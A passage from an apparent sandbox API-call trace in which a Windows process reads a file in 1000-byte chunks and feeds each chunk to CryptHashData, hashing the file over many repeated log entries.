lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.120] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.120] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.120] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.120] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.120] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.120] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.120] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.120] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.121] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.121] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.121] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.121] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.121] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.121] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.121] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.121] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.121] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.121] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.121] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.121] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.121] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.121] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.121] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.121] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.122] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.122] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.122] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.122] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.122] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.122] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.122] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.122] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.122] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.122] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.122] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.122] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.122] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.122] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.122] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.122] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.122] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.123] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.123] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.123] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.123] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.123] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.123] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.123] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.123] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.123] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.123] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.123] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.123] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.123] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.123] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.123] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.123] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.124] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.124] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.124] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.124] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.124] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.124] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.124] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.124] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.124] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.124] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.124] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.124] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.124] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.124] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.124] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.124] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.124] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.125] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.125] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.125] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.125] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.125] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.125] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.125] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.125] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.125] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.125] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.125] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.125] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.125] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.125] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.125] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.125] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.126] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.126] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.126] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.126] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.126] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.126] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.126] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.126] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.126] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.126] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.126] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.126] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.126] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.126] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.126] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.126] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.126] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.127] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.127] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.127] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.127] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.127] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.127] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.127] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.127] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.127] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.127] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.127] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.127] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.127] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.127] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.127] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.127] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.128] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.128] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.128] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.128] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.128] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.128] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.128] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.128] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.128] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.128] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.128] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.128] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.128] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.128] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.128] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.128] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.129] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.129] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.129] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.129] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.129] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, 